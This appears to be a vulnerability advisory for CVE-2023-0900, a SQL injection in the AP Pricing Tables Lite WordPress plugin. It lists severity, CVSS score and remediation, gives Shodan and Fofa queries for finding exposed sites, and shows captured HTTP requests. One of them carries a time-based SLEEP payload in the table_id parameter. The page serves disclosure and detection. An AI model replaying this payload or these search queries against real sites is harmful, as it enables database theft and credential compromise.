| Title | AP Pricing Tables Lite <= 1.1.6 - SQL Injection |
|---|---|
| Author | r3Y3r53 |
| Severity | High |
| Impact | Authenticated high-privilege attackers (admin) can exploit SQL injection through the table_id parameter in the copy_table action to extract database contents, potentially stealing user credentials and compromising the WordPress database. |
| Remediation | Update AP Pricing Tables Lite plugin to a version newer than 1.1.6 that uses parameterized queries or prepared statements for the table_id parameter in admin-ajax.php. |
| CVSS Score | 7.2 |
| EPSS Score | 0.04805 |
| CVE ID | CVE-2023-0900 |
| CWE ID | CWE-89 |
| Shodan Query | http.html:wp-content/plugins/ap-pricing-tables-lite |
| Fofa Query | body=wp-content/plugins/ap-pricing-tables-lite |
| Tags | time-based-sqli cve2023 cve sqli wordpress wp-plugin wp authenticated wpscan ap-pricing-tables-lite wpdevart vuln |
The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by high-privilege users such as admins.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=Po27qB&pwd=Ga4o4u&wp-submit=Log+In
GET /wp-admin/admin.php?page=ap-pricing-tables-lite&message=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9
Connection: close
Content-Length: 109
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
action=backend_ajax&_action=copy_table&table_id=1+AND+(SELECT+2035+FROM+(SELECT(SLEEP(10)))A)&_wpnonce=4SczTF
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2023/CVE-2023-0900.yaml
🦈 Packet Capture: ⬇️ Download cve-2023-0900.pcap
N/AN/A